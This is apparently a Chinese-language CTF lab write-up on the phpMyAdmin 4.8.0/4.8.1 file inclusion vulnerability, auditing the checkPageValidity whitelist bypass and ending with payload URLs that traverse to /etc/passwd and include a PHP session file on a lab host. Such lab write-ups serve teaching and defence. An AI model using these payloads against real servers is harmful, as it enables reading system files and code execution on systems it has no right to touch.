简介

环境复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

线上平台:榆林学院内可使用协会内部的网络安全实验平台

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,

通过二次编码即可绕过检查,造成远程文件包含漏洞。

受影响版本

phpMyAdmin 4.8.0和4.8.1受到影响。

代码审计

通过审计index.php发现了文件包含 只要达到if里面的条件即可执行文件包含。

! empty($_REQUEST['target'])  //request接受的target不能为空
&& is_string($_REQUEST['target']) //target里面的值必须是字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //target里面的值不能以index为头
&& ! in_array($_REQUEST['target'], $target_blacklist)  //target传进来的值不能是$target_backlist里面的值 如"import.php" 和"export.php"
&& Core::checkPageValidity($_REQUEST['target'])  //将值给checkPageValidity()函数 要返回true 才能全整体为真

接下来继续追溯checkPageValidity 函数

public static function checkPageValidity(&$page, array $whitelist = []) {
    //首先判断$whitelist不为空 则将$goto_whitelist值赋值给$whitelist
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; //这里得追溯下 看看$got_whitelist
}
    //判断传进来的值 要存在而且
if (! isset($page) || !is_string($page)) {
return false;
}
     //判断传进来的值是否在白名单内
if (in_array($page, $whitelist)) {
return true;
}     //截取传进来的?号
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
      //判断$_page是否输入$page
if (in_array($_page, $whitelist)) {
return true;
}
      
      //给page解码
$_page = urldecode($page);
    //截取?号部分
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} return false;
}

得到上面的情况我们可以构造payload:

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../etc/passwd

漏洞利用方法

包含session文件payload

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_1d4171b498cba40de617fbea8902d5f0

最新文章

  1. TestNG 与 Junit的比较
  2. 王爽< 汇编语言>实验十二
  3. EhCache缓存
  4. Delphi中Interface接口的使用方法
  5. PHP输出控制(Output Control)函数
  6. 原生Ajax写法(GET)
  7. 内存中 OLTP - 常见的工作负荷模式和迁移注意事项(三)
  8. [COJ0988]WZJ的数据结构(负十二)
  9. C++设计模式---职责链模式
  10. [XMPP]iOS聊天软件学习笔记[三]
  11. 出错场景是升级oracle驱动,将版本从ojdbc14升级到ojdbc6,hibernate执行原生态sql语句会报如下错误
  12. Struts2传参碰到的奇怪问题
  13. 【MySQL 读书笔记】普通索引和唯一索引应该怎么选择
  14. Java创建对象的4种方式
  15. C#怎么调用百度地图Web API
  16. 设置td中的table置顶
  17. MVC---- DataSet 页面遍历
  18. ZStack深度试用:部署、架构与网络及其与OpenStack的对比
  19. Bogart gData.vb
  20. [译]用R语言做挖掘数据《一》

热门文章

  1. Kubernetes K8S之存储Volume详解
  2. day71:drf:API接口&Restful API规范&Django Rest Framework&drf中的序列化和反序列化功能
  3. C++学习---队列的构建及操作
  4. 浏览器缓存引起的bug总结
  5. IDEA出现Error Loading Project: Cannot load module xxx报错
  6. 01 . Go框架之Gin框架从入门到熟悉(路由和上传文件)
  7. vue-cli3搭建的vue项目中使用jquery
  8. BIO编程
  9. 使用painless将ElasticSearch字符串拆分为数组
  10. shell脚本之字符串测试表达式